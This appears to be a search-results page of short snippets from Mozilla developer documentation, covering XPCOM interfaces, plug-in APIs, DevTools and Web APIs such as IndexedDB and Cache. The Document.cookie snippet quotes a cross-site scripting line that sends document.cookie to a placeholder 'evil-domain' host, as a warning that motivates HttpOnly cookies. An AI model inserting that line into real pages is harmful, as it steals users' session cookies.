receivedchunks.push(data); ostream.writebytes(data, acount); this.originallistener.ondataavailable(arequest, acontext, sstream.newinputstream(0), aoffset, acount); }, onstartrequest: function(arequest, acontext) { this.originallistener.onstartrequest(arequest, acontext); }, onstoprequest: function(arequest, acontext, astatuscode) { this.responsebody = this.receivedchunks.join(""); delete this.receivedchunks; this.responsestatus = astatuscode; this.originallistener.onstoprequest(arequest, acontext, astatuscode); this.deferreddone.resolve(); }, queryinterface: function(aiid) { if (aiid.equals(ci.nsistreamlistener) || aiid.equals(ci.nsisupports)) { return this; } throw cr.ns_nointerface; } }; var httpresponseobserver = { observe: function(asubject, atopic, adata...
nsITransferable
le objects. failure to do so will result in fatal assertions in debug builds. void init( in nsiloadcontext acontext ); parameters acontext the load context associated with the transferable object. this can be set to null if a load context is not available. remarks the load context is used to track whether the transferable is storing privacy-sensitive information. for example, we try to delete data that you copy to the clipboard when you close a private browsing window. to get the appropriate load context in javascript callers, one needs to get to the document that the transferable corresponds to, and then get the load context from the document like this: var loadcontext = doc.defaultview.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) ...
nsITreeBoxObject
this notification method when rows are added or removed. for non-contiguous additions/removals, this method should be called multiple times. void rowcountchanged(in long index, in long count); parameters index the position at which the new rows were added or at which rows were removed. count the number of rows added or removed. use negative values for removed rows. example you deleted the row with index rowindex. inform the tree about this change by calling rowcountchanged(rowindex+1, -1); beginupdatebatch() notify the tree that the view is about to perform a batch update, that is, add, remove or invalidate several rows at once. this must be followed by calling endupdatebatch(), otherwise the tree will get out of sync. void beginupdatebatch(); endupdatebatch() notify the t...
nsITreeView
rt on any column. used mostly by dragdrop to affect drop feedback. boolean issorted(); parameters none. true if the column is sorted. otherwise false. performaction() a command api that can be used to invoke commands on the selection. the tree will automatically invoke this method when certain keys are pressed. for example, when the del key is pressed, performaction will be called with the delete string. void performaction( in wstring action ); parameters action the action to perform. performactiononcell() a command api that can be used to invoke commands on a specific cell. void performactiononcell( in wstring action, in long row, in nsitreecolumn col ); parameters action the action to perform. row the row of the cell. col the column of the cell. performact...
nsIWritablePropertyBag
xpcom/ds/nsiwritablepropertybag.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 1.8 inherits from: nsipropertybag last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void deleteproperty(in astring name); void setproperty(in astring name, in nsivariant value); methods deleteproperty() delete a property with the given name. void deleteproperty( in astring name ); parameters name property to delete. exceptions thrown ns_error_failure if a property with that name doesn't exist. setproperty() set a property with the given name to the given value. if a property already exists with the given name, it is overwritten. void setproperty( in astring name, in nsivariant value ); parameters ...
nsIZipWriter
'].createinstance(ci.nsizipwriter); var myzipfile = fu.file('c:\\myzipfile.zip'); //this file will be creatd in c drive var pr = {pr_rdonly: 0x01, pr_wronly: 0x02, pr_rdwr: 0x04, pr_create_file: 0x08, pr_append: 0x10, pr_truncate: 0x20, pr_sync: 0x40, pr_excl: 0x80}; zw.open(xpi, pr.pr_wronly | pr.pr_create_file | pr.pr_truncate); //xpi file is created if not there, if it is there it is truncated/deleted var filetoaddtozip = fileutils.file('c:\\add this file.txt'); var saveinzipas = 'blah.txt'; zw.addentryfile(saveinzipas, ci.nsizipwriter.compression_none, filetoaddtozip, false); in the above example, the file ("add this file.txt") located at "c:\add this file.txt" will be added to the zip file "c:\myzipfile.zip", however in the zip file this file ("add this file.txt") will be named "blah.txt...
nsMsgRuleActionType
0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=11; const long deletefrompop3server=12; const long leaveonpop3server=13; const long junkscore=14; const long fetchbodyfrompop3server=15; const long copytofo...
Storage
yfunction() { // mspecialstatement is a member variable of the class that contains a statement. mozstoragestatementscoper scoper(mspecialstatement); // you can use mspecialstatement without concern now. nscomptr<mozistoragestatement> statement; // mdbconn is a database connection that is stored a member variable of the class. nsresult rv = mdbconn->createstatement(ns_literal_cstring("delete from table_name"), getter_addrefs(statement)); ns_ensure_success(rv, rv); return statement->execute(); // once this function returns, mspecialstatement will be reset, and statement will // be destroyed. } note: calling reset is not an expensive operation, and nothing bad happens if you call reset more than once. transactions transactions can be...
Address book sync client design
if it's new, mod if it's been modified, // ret if it was already sent to the server // but an error occured, etc. // // step 1: // when the user begins a sync, run through the local database and update the // sync mapping table. if the crc has changed, mark the entry modified, if // it's a new record, add an entry and mark it new, if a record was deleted, // mark the entry deleted, etc. // // sync approach - server handles all conflict resolution: // // step 2: // using the sync mapping table and the local records database, generate the change // list to send to the server. mark any modified or new record with the ret (retry) // flag. // // step 3: // get the response back from the server. since the communication was successful, //...
Mail composition back end
opriate folder for copy operations. nsimsgcompfields *fields, - the message composition fields. this will contain all of the relevant header information for message delivery nsfilespec *sendfilespec, - the file spec for the message being sent prbool deletesendfileoncompletion, - tell the back end if it should delete the file upon successful completion prbool digest_p, - this is a flag that says that most of the documents we are attaching are themselves messages, and so we should generate a multipart/digest container instead of multipart/mixed. (it's a minor difference.) ...
Activity Manager examples
n the // undo handler. // same for the source folder, it is required for undo operation, but // since it is the subject of this activity (event), it goes into the // subject list. ...
Thunderbird extensions
-ons guide for changes introduced in thunderbird 60. read about the main windows to learn about « thread pane », « preview pane », and « folder pane ». play with a demo add-on that exercises some more advanced thunderbird-specific features want to do even more? don't reinvent the wheel: steal from the thunderbird-stdlib project (doc here). functions for dealing with messages (delete, archive, change tags, etc.) are included. mailutils.js. haven't found what you need? read the thunderbird how-tos; they contain many recipes for things extensions want to do. still stuck? ask in a community communication channel on the right. feeling really brave? read the source using a fancy interface; you can often find tests that demonstrate what you're trying to achieve. ...
Browser Side Plug-in API - Plugins
n. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredictable results. netscape plug-in method summary « previousnext » npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a new stream with the contents of the specified url; gets notification of the result. ...
Plug-in Development Overview - Plugins
he plug-in. streams produced by the plug-in to send to the browser are like normal-mode streams produced by the browser, but in reverse. in the browser's normal-mode streams, the browser calls the plug-in to inform it that the stream was created and to push more data. in streams produced by the plug-in, by contrast, the plug-in calls netscape functions to create a stream, push data into it, and delete it. working with urls the plug-in api provides methods that plug-ins can use to retrieve data from or post data to a url anywhere on the network, provide hyperlinks to other documents, post form data to cgi scripts using http, or upload files to a remote server using ftp. use npn_geturl to request the browser to load a url into a particular browser window or frame for display, or to deliver ...
Plug-in Side Plug-in API - Plugins
es methods in the plug-in api that are available for the plug-in object. the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. plugin method summary npp_destroy deletes a specific instance of a plug-in. npp_destroystream tells the plug-in that a stream is about to be closed or destroyed. np_getentrypoints undocumented. np_getmimedescription registers the mime types supported by the plug-in (unix, mac os). npp_getvalue allows the browser to query the plug-in for information. np_getvalue allows the browser to query the plug-in for information. npp_hand...
Structures - Plugins
to print itself in full-page or embedded mode. npprintcallbackstruct contains information required by the platformprint field of the npembedprint during embedded mode printing. nprect represents a rectangular area of a page. npregion represents a platform-defined region of a page. npsaveddata block of instance information saved after the plug-in is deleted; can be returned to the plug-in. npsetwindowcallbackstruct contains information about the plug-in's unix window environment. npstream represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser. npwindow contains information about the target into which the plug-in instance can d...
Debugging service workers - Firefox Developer Tools
the cache. when you fill up the cache with assets, but then want to alter the behavior slightly, you previously had to manually write code to empty the cache, and then fill it again. the firefox devtools’ storage tab has a cache storage section that lists all the different caches you have stored under each different origin. right/ctrl clicking on one of the caches gives you two options: delete all — delete all caches under this origin. delete "name of cache" — delete only the highlighted cache. you can also click on one of the individual items stored in the cache, then right/ctrl click on it to get options for deleting just that item, or every item in the cache. these options make it much easier to remove a cache if it is required for testing a code update. it is also worth kn...
Use watchpoints - Firefox Developer Tools
click the watchpoint icon, or right-click and choose remove watchpoint. the watchpoint is removed. ...
Debugger.Frame - Firefox Developer Tools
, [options]) like eval, but evaluatecode in the environment of this frame, extended with bindings from the objectbindings. for each own enumerable property ofbindings namedname whose value isvalue, include a variable in the environment in whichcode is evaluated namedname, whose value isvalue. eachvalue must be a debuggee value. (this is not like a with statement:code may access, assign to, and delete the introduced bindings without having any effect on thebindings object.) this method allows debugger code to introduce temporary bindings that are visible to the given debuggee code and which refer to debugger-held debuggee values, and do so without mutating any existing debuggee environment. note that, like eval, declarations in thecode passed to evalwithbindings affect the environment of t...
Network request list - Firefox Developer Tools
close the sidebar.) enter a string in the field with the placeholder text block resource when url contains. reload the page to test it with the specified url blocked. other actions you can take with request blocking: to turn all request blocking off or on: toggle the checkbox next to enable request blocking. to turn a specific block off or on: toggle the checkbox next to that item. to delete a blocked item, click the x icon that appears when you focus the item. (starting with firefox 77) right-click any item in the list and choose from the context menu: enable all enables blocking of all items in the list. disable all disables blocking of all items in the list. remove all deletes all items in the list. blocking a specific url from the request list you can also bl...
Local Storage / Session Storage - Firefox Developer Tools
when an origin corresponding to local storage or session storage is selected within the storage inspector, the names and values of all the items corresponding to local storage or session storage will be listed in a table. you can edit local and session storage items by double-clicking inside cells in the table widget and editing the values they contain: you can delete local storage and session storage entries using the context menu: you can also delete local and session storage entries by selecting an item and pressing the delete or backspace key. finally, you can add new storage items by clicking the "plus" (+) button and then editing the resulting new row to the value you want. ...
Animation.finished - Web APIs
is, when it starts playing again), a new promise is created for this property. the new promise will resolve once the new animation sequence has completed. syntax var animationspromise = animation.finished; value a promise object which will resolve once the animation has finished running. examples the following code waits until all animations running on the element elem have finished, then deletes the element from the dom tree: promise.all( elem.getanimations().map( function(animation) { return animation.finished } ) ).then( function() { return elem.remove(); } ); specifications specification status comment web animationsthe definition of 'animation.finished' in that specification. working draft editor's draft. ...
Body.bodyUsed - Web APIs
Web › API › Body › bodyUsed
g response.bodyused to the console once before the response.blob() call and once after. this returns false before and true afterwards, as at that point the body has been read. html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'bodyused' in that specification. ...
Body - Web APIs
Web › API › Body
ay it in an <img> tag. you'll notice that since we are requesting an image, we need to run body.blob() (response implements body) to give the response its correct mime type. html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'body' in that specification. living standard ...
CSSKeyframesRule - Web APIs
yframesrule also implements the methods of that interface. it has three specific methods: csskeyframesrule.appendrule() inserts a new keyframe rule into the current csskeyframesrule. the parameter is a domstring containing a keyframe in the same format as an entry of a @keyframes at-rule. if it contains more than one keyframe rule, a domexception with a syntax_err is thrown. csskeyframesrule.deleterule() deletes a keyframe rule from the current csskeyframesrule. the parameter is the index of the keyframe to be deleted, expressed as a domstring resolving as a number between 0% and 100%. csskeyframesrule.findrule() returns a keyframe rule corresponding to the given key. the key is a domstring containing an index of the keyframe to be returned, resolving to a percentage between 0% and 100%.
CSS Typed Object Model API - Web APIs
ject model api provides a representation of a css declaration block that is an alternative to cssstyledeclaration. stylepropertymap.set() method of stylepropertymap interface that changes the css declaration with the given property to the value given. stylepropertymap.append() method that adds a new css declaration to the stylepropertymap with the given property and value. stylepropertymap.delete() method that removes the css declaration with the given property from the stylepropertymap. stylepropertymap.clear() method that removes all declarations in the stylepropertymap. cssunparsedvalue the cssunparsedvalue interface of the css typed object model api represents property values that reference custom properties. it consists of a list of string fragments and variable references. ...
Cache.keys() - Web APIs
Web › API › Cache › keys
se object has a vary header. it defaults to false. cachename: a domstring that represents a specific cache to search within. note that this option is ignored by cache.keys(). return value a promise that resolves to an array of cache keys. examples caches.open('v1').then(function(cache) { cache.keys().then(function(keys) { keys.foreach(function(request, index, array) { cache.delete(request); }); }); }) specifications specification status comment service workersthe definition of 'cache: keys' in that specification. working draft initial definition. ...
Cache.matchAll() - Web APIs
Web › API › Cache › matchAll
e object. note: cache.match() is basically identical to cache.matchall(), except that rather than resolving with an array of all matching responses, it resolves with the first matching response only (that is, response[0]). examples caches.open('v1').then(function(cache) { cache.matchall('/images/').then(function(response) { response.foreach(function(element, index, array) { cache.delete(element); }); }); }) specifications specification status comment service workersthe definition of 'cache: matchall' in that specification. working draft initial definition. ...
CharacterData - Web APIs
ified one in its parent's children list, or null if the specified element is the first one in the list. methods inherits methods from its parent, node, and implements the childnode and nondocumenttypechildnode interface. characterdata.appenddata() appends the given domstring to the characterdata.data string; when this method returns, data contains the concatenated domstring. characterdata.deletedata() removes the specified amount of characters, starting at the specified offset, from the characterdata.data string; when this method returns, data contains the shortened domstring. characterdata.insertdata() inserts the specified characters, at the specified offset, in the characterdata.data string; when this method returns, data contains the modified domstring. childnode.remove() remo...
ContentIndexEvent.id - Web APIs
the read-only id property of the contentindexevent interface is a string which identifies the deleted content index via it's id. syntax var id = contentindexevent.id; value a string representation of the deleted content index id. examples this example listens for the contentdelete event and logs the removed content index id. the contentindexevent is only available to the {domxref('serviceworkerglobalscope','global scope')}} of a serviceworker. self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'id' in that specification. unknown initial definit...
Document.cookie - Web APIs
Web › API › Document › cookie
ty in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript. read more about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. this will make each request slower. it is highly recommended for you to use whatwg dom storage if you are going to keep "client-only" data. rfc 2965 (section 5.3, "implementation limits") specifies that there ...
Document.popupNode - Web APIs
e popup or context attributes. for other types of popups, the value is not changed. in these other cases, for example when calling the popup's showpopup method, you may wish to set the popupnode property directly beforehand. this property applies only to xul documents. syntax var node = document.popupnode; example <menupopup id="toolbarcontextmenu"> ... <menuitem oncommand="mailnewscore.deletebutton(document.popupnode)"> ... </menupopup> ...
Document.querySelectorAll() - Web APIs
s is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), then no matches were found. otherwise, you can simply use standard array notation to access the contents of the list. you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascript var select = document.queryselector('.select'); var inner = select.queryse...
EXT_disjoint_timer_query - Web APIs
ry_result_available_ext a glboolean indicating whether or not a query result is available. ext.time_elapsed_ext elapsed time (in nanoseconds). ext.timestamp_ext the current time. ext.gpu_disjoint_ext a glboolean indicating whether or not the gpu performed any disjoint operation. methods this extension exposes eight new methods. ext.createqueryext() creates a new webglquery. ext.deletequeryext() deletes a given webglquery. ext.isqueryext() returns true if a given object is a webglquery. ext.beginqueryext() the timer starts when all commands prior to beginqueryext have been fully executed. ext.endqueryext() the timer stops when all commands prior to endqueryext have been fully executed. ext.querycounterext() records the current time into the corresponding quer...
Element: cut event - Web APIs
Web › API › Element › cut event
css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element: paste event - Web APIs
rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); result specifications specification status clipboard api and events working draft ...
Element.querySelectorAll() - Web APIs
s is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), then no matches were found. otherwise, you can simply use standard array notation to access the contents of the list. you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); note: nodelist is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc. to convert it into an array, try array.from(nodelist). user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div cla...
ExtendableEvent.waitUntil() - Web APIs
ce worker is discarded. this is primarily used to ensure that a service worker is not considered installed until all of the core caches it depends on are successfully populated. the activate events in service workers use waituntil() to buffer functional events such as fetch and push until the promise passed to waituntil() settles. this gives the service worker time to update database schemas and delete outdated caches, so other events can rely on a completely upgraded state. the waituntil() method must be initially called within the event callback, but after that it can be called multiple times, until all the promises passed to it settle. note: the behaviour described in the above paragraph was fixed in firefox 43 (see bug 1180274). syntax extendableevent.waituntil(promise); parameters ...
ExtendableEvent - Web APIs
the extendableevent interface extends the lifetime of the install and activate events dispatched on the global scope as part of the service worker lifecycle. this ensures that any functional events (like fetchevent) are not dispatched until it upgrades database schemas and deletes the outdated cache entries. if waituntil() is called outside of the extendableevent handler, the browser should throw an invalidstateerror; note also that multiple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises. note: the behaviour described in the above paragraph was fixed in firefox 43 (see bug 1180274.) this interface inherits from the event interface. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bo...
FetchEvent.PreloadRequest - Web APIs
<please delete> ...
Fetch basic concepts - Web APIs
a typeerror is thrown if you try to modify a headers object whose guard is immutable. however, the operation will work if guard is request and the header name isn't a forbidden header name . guard is request-no-cors and the header name/value is a simple header . guard is response and the header name isn't a forbidden response header...
FileSystemDirectoryEntry.removeRecursively() - Web APIs
er application or is locked at the operating system level. fileerror.security_err the directory could not be removed for security reasons. possible reasons include: the directory and/or its contents may not be safe to access from a web application. too many file system calls are being made. other security concerns as raised by the user agent or the operating system. if you try to delete a directory which contains one or more files that can't be removed, or if an error occurs while deletion of a number of files is underway, some files may not be deleted. you should provide an errorcallback to watch for and handle this, perhaps by trying again. example directory.removerecursively(function() { /* the directory was removed successfully */ }, function() { /* an error occurred ...
FileSystemDirectoryEntry - Web APIs
irectory. getdirectory() returns a filesystemdirectoryentry object representing a directory located at a given path, relative to the directory on which the method is called. getfile() returns a filesystemfileentry object representing a file located within the directory's hierarchy, given a path relative to the directory on which the method is called. obsolete methods removerecursively() deletes a directory and all of its contents, including the contents of subdirectories. this has been removed from the spec. specifications specification status comment file and directory entries apithe definition of 'filesystemdirectoryentry' in that specification. draft browser compatibility the compatibility table on this page is generated from structured ...
FontFaceSet - Web APIs
nt of type loadingerror is fired, indicating that an error occurred whilst loading a font-face set. methods fontfaceset.add() adds a font to the font set. fontfaceset.check() a boolean that indicates whether a font is loaded, but doesn't initiate a load when it isn't. fontfaceset.clear() removes all manually-added fonts from the font set. css-connected fonts are unaffected. fontfaceset.delete() removes a manually-added font from the font set. css-connected fonts are unaffected. fontfaceset.load() returns a promise which resolves to a list of font-faces for a requested font. specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification. editor's draft initial definition ...
FormData - Web APIs
Web › API › FormData
be used in a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()). note: this feature is available in web workers. constructor formdata() creates a new formdata object. methods formdata.append() appends a new value onto an existing key inside a formdata object, or adds the key if it does not already exist. formdata.delete() deletes a key/value pair from a formdata object. formdata.entries() returns an iterator allowing to go through all key/value pairs contained in this object. formdata.get() returns the first value associated with a given key from within a formdata object. formdata.getall() returns an array of all the values associated with a given key from within a formdata. formdata.has() returns a boo...
Audio() - Web APIs
is sent when it's estimated that the audio should be able to play to the end without interruption. the event-based approach is best: myaudioelement.addeventlistener("canplaythrough", event => { /* the audio is now playable; play it if permissions allow */ myaudioelement.play(); }); memory usage and management if all references to an audio element created using the audio() constructor are deleted, the element itself won't be removed from memory by the javascript runtime's garbage collection mechanism if playback is currently underway. instead, the audio will keep playing and the object will remain in memory until playback ends or is paused (such as by calling pause()). at that time, the object becomes subject to garbage collection. specifications specification status com...
HTMLSlotElement: slotchange event - Web APIs
bubbles yes cancelable no interface event event handler property none in order to trigger a slotchange event, one has to set or remove the slot attribute. ...
The HTML DOM API - Web APIs
s. an html document is a dom tree in which each of the nodes is an html element, represented by the htmlelement interface. the htmlelement class, in turn, implements node, so every element is also a node (but not the other way around). this way, the structural features implemented by the node interface are also available to html elements, allowing them to be nested within each other, created and deleted, moved around, and so forth. the htmlelement interface is generic, however, providing only the functionality common to all html elements such as the element's id, its coordinates, the html making up the element, information about scroll position, and so forth. in order to expand upon the functionality of the core htmlelement interface to provide the features needed by a specific element, the h...
HashChangeEvent.oldURL - Web APIs
...
Headers.getAll() - Web APIs
Web › API › Headers › getAll
o 52 (firefox 52 / thunderbird 52 / seamonkey 2.49)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the getall() method of the headers interface used to return an array of all the values of a header within a headers object with a given name; in newer versions of the fetch spec, it has been deleted, and headers.get() has been updated to fetch all header values instead of only the first one. if the requested header doesn't exist in the headers object, it returns an empty array. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.getall(name); parameters na...
IDBCursor - Web APIs
Web › API › IDBCursor
t was used to obtain the cursor. methods idbcursor.advance() sets the number of times a cursor should move its position forward. idbcursor.continue() advances the cursor to the next position along its direction, to the item whose key matches the optional key parameter. idbcursor.continueprimarykey() sets the cursor to the given index key and primary key given as arguments. idbcursor.delete() returns an idbrequest object, and, in a separate thread, deletes the record at the cursor's position, without changing the cursor's position. this can be used to delete specific records. idbcursor.update() returns an idbrequest object, and, in a separate thread, updates the value at the current position of the cursor in the object store. this can be used to update specific records. constan...
IDBCursorSync - Web APIs
nue() advances the cursor to the next position along its direction, to the item whose key matches the optional key parameter. if no key is specified, advance to the immediate next position. returns false if the cursor has reached the end of its range; otherwise returns true. bool continue ( in optional any key ); parameters key the key to which to move the cursor's position. remove() deletes the record at the cursor's position, without changing the cursor's position void delete ( ) raises (databaseexception); exceptions this method can raise an idbdatabaseexception with the following code: not_allowed_err if the underlying index or object store does not support updating the record because it is open in the read_only or snapshot_read mode. ...
IDBDatabase.createObjectStore() - Web APIs
his method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) constrainterror an object store with the given name (based on case-sensitive comparison) already exists in the connected database. invalidaccesserror if autoincrement is set to true and keypath is either an ...
IDBDatabase.onversionchange - Web APIs
this is different from the versionchange transaction (but it is related). note: this feature is available in web workers. syntax idbdatabase.onversionchange = function(event) { ... ...
IDBDatabase.transaction() - Web APIs
ngs, supported only by chrome: return value an idbtransaction object. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror the close() method has previously been called on this idbdatabase instance. notfounderror an object store specified in in the storenames parameter has been deleted or removed. typeerror the value for the mode parameter is invalid. invalidaccesserror the function was called with an empty list of store names. example in this example we open a database connection, then use transaction() to open a transaction on the database. for a complete example, see our to-do notifications app (view example live.) var db; // let us o...
IDBDatabase: versionchange event - Web APIs
the versionchange event is fired when a database structure change (idbopendbrequest.onupgradeneeded event or idbfactory.deletedatabase) was requested. bubbles no cancelable no interface event event handler property onversionchange examples this example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.c...
IDBDatabaseException - Web APIs
meet requirements. non_transient_err 2 an operation was not allowed on an object. unless the cause of the error is corrected, retrying the same operation would result in failure. not_allowed_err 6 an operation was called on an object where it is not allowed or at a time when it is not allowed. it also occurs if a request is made on a source object that has been deleted or removed. more specific variants of this error includes: transaction_inactive_err and read_only_err. not_found_err 3 the operation failed because the requested database object could not be found; for example, an object store did not exist but was being opened. quota_err 11 either there's not enough remaining storage space or the storage quota was reached...
IDBIndex.count() - Web APIs
Web › API › IDBIndex › count
on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbindex has been deleted or removed. example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the pr...
IDBIndex.get() - Web APIs
Web › API › IDBIndex › get
on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbindex has been deleted or removed. example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the pr...
IDBIndex.getAll() - Web APIs
Web › API › IDBIndex › getAll
reater than 232-1 a typeerror exception will be thrown. return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. invalidstateerror the idbindex has been deleted or removed. a typeerror exception is thrown if the count parameter is not between 0 and 232-1 included. example var myindex = objectstore.index('index'); var getallrequest = myindex.getall(); getallrequest.onsuccess = function() { console.log(getallrequest.result); } specification specification status comment indexed database api draftthe definition of 'getal...
IDBIndex.getAllKeys() - Web APIs
reater than 232-1 a typeerror exception will be thrown. return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. invalidstateerror the idbindex has been deleted or removed. a typeerror exception is thrown if the count parameter is not between 0 and 232-1 included. example var myindex = objectstore.index('index'); var getallkeysrequest = myindex.getallkeys(); getallkeysrequest.onsuccess = function() { console.log(getallkeysrequest.result); } specification specification status comment indexed database api draftt...
IDBIndex.getKey() - Web APIs
Web › API › IDBIndex › getKey
on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbindex has been deleted or removed. example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the pr...
IDBIndex.name - Web APIs
Web › API › IDBIndex › name
he idbindex interface contains a string which names the index. note: this feature is available in web workers. syntax var indexname = idbindex.name; idbindex.name = indexname; value a domstring specifying a name for the index. exceptions there are a several exceptions which can occur when you attempt to change an index's name. invalidstateerror the index, or its object store, has been deleted; or the current transaction is not an upgrade transaction. you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange". transactioninactiveerror the current transaction is not active. constrainterror an index is already using the specified name. example in the following example we open a transaction and an object store, then get the index lname from ...
IDBIndex.openCursor() - Web APIs
ons this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. typeerror the value for the direction parameter is invalid. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbindex has been deleted or removed. example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using opencursor() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary k...
IDBIndex.openKeyCursor() - Web APIs
ons this method may raise a domexception of one of the following types: exception description transactioninactiveerror this idbindex's transaction is inactive. typeerror the value for the direction parameter is invalid. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbindex has been deleted or removed. example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database. we then open a key cursor on the index using openkeycursor() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.openkeycursor except that the returned records are sorted based on the index, not the pri...
IDBIndex - Web APIs
Web › API › IDBIndex
